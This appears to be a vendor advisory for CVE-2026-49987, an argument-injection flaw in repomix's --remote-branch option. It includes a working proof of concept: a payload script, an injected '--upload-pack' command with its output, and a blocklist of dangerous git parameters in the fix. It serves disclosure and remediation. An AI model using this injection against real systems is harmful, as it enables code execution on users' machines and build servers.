CVE-2026-49987

repomix Vulnerable to Command Injection (RCE) via --remote-branch Argument Injection

await deps.execFileAsync(
  'git',
  ['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable
  gitRemoteOpts,
);

await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable

[Source] repomix --remote-branch <injected_option>
   ↓
src/cli/actions/remoteAction.ts:226 (cloneRepository)
   ↓
src/core/git/gitCommand.ts:118 (execGitShallowClone)
   ↓
[Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload'])
   ↓
[Execution] git invokes the payload binary via transport helper

cat > /tmp/malicious-pack << 'EOF'
#!/bin/bash
echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt
id >> /tmp/repomix-pwned.txt
EOF
chmod +x /tmp/malicious-pack

# Setup dummy bare remote
git init --bare /tmp/dummy-remote.git

# Initialize local repo and add remote
mkdir /tmp/test-fetch && cd /tmp/test-fetch
git init
git remote add origin file:///tmp/dummy-remote.git

# Execute vulnerability
git fetch --upload-pack=/tmp/malicious-pack origin 2>&1

cat /tmp/repomix-pwned.txt

=== RCE EXECUTED ===
uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)...

repomix --remote [email protected]:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack'

• Remote Code Execution: Complete system compromise with the privileges of the user executing repomix.
• CI/CD Compromise: If repomix is utilized in automated pipelines where --remote-branch is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets.

CVE-2026-49987 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.14.1); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. Implement Positional Delimiters (Primary Fix)
Append the -- delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing remoteBranch.

await deps.execFileAsync(
  'git',
  ['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch],
  gitRemoteOpts,
);

2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)
Update execGitShallowClone to validate remoteBranch against the existing dangerousParams array.

const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec'];

if (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) {
  throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`);
}

1. What is CVE-2026-49987? CVE-2026-49987 is a high-severity security vulnerability in repomix (npm), affecting versions < 1.14.1. It is fixed in 1.14.1.
2. How severe is CVE-2026-49987? CVE-2026-49987 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of repomix are affected by CVE-2026-49987? repomix (npm) versions < 1.14.1 is affected.
4. Is there a fix for CVE-2026-49987? Yes. CVE-2026-49987 is fixed in 1.14.1. Upgrade to this version or later.
5. Is CVE-2026-49987 exploitable, and should I be worried? Whether CVE-2026-49987 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-49987 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-49987? Upgrade repomix to 1.14.1 or later.

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